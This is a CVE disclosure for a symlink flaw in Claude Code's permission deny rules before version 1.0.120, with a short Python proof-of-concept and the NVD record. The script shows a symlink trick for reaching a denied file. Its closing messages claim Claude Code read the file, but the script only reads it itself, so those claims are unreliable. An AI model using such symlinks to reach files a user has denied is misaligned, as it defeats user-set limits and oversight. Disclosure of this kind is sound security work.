CVE-2025-59829

# CVE-2025-59829 PoC: Claude Code Symlink Permission Bypass # This PoC demonstrates how to bypass Claude Code's permission deny rules # using symbolic links in versions < 1.0.120 import os import subprocess # Step 1: Create a sensitive file that should be protected secret_file = "/tmp/protected/secret.txt" os.makedirs(os.path.dirname(secret_file), exist_ok=True) with open(secret_file, "w") as f: f.write("This is sensitive data that should not be accessed by Claude Code") # Step 2: Create a symlink pointing to the protected file # The symlink path itself is NOT in the deny rules symlink_path = "/tmp/innocent/innocent_link.txt" os.makedirs(os.path.dirname(symlink_path), exist_ok=True) if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink(secret_file, symlink_path) # Step 3: Configure Claude Code deny rules to block access to the secret file # In ~/.claude/settings.json or project config: # { # "permissions": { # "deny": ["/tmp/protected/*"] # } # } # Step 4: Ask Claude Code to read the symlink (which it should be able to access # since the symlink path is not in deny rules) # In the vulnerable version (< 1.0.120), Claude Code will follow the symlink # and read the contents of the protected file # Demonstration of the bypass: print(f"Reading via symlink: {symlink_path}") result = subprocess.run(["cat", symlink_path], capture_output=True, text=True) print(f"Content accessed: {result.stdout}") print(f"\n[!] Permission bypass successful!") print(f"[!] Claude Code accessed '{secret_file}' via symlink '{symlink_path}'") print(f"[!] Even though deny rules blocked '/tmp/protected/*'") # Cleanup os.remove(symlink_path) os.remove(secret_file) os.rmdir(os.path.dirname(secret_file)) os.rmdir(os.path.dirname(symlink_path))

{"cve": {"id": "CVE-2025-59829", "sourceIdentifier": "[email protected]", "published": "2025-10-03T20:15:33.653", "lastModified": "2025-10-24T19:45:17.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Claude Code is an agentic coding tool. Versions below 1.0.120 failed to account for symlinks when checking permission deny rules. If a user explicitly denied Claude Code access to a file and Claude Code had access to a symlink pointing to that file, it was possible for Claude Code to access the file. Users on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version. This issue is fixed in version 1.0.120."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.0.120", "matchCriteriaId": "C3645510-2F3D-4481-8CA1-2C4743B75EDD"}]}]}], "references": [{"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-66m2-gx93-v996", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}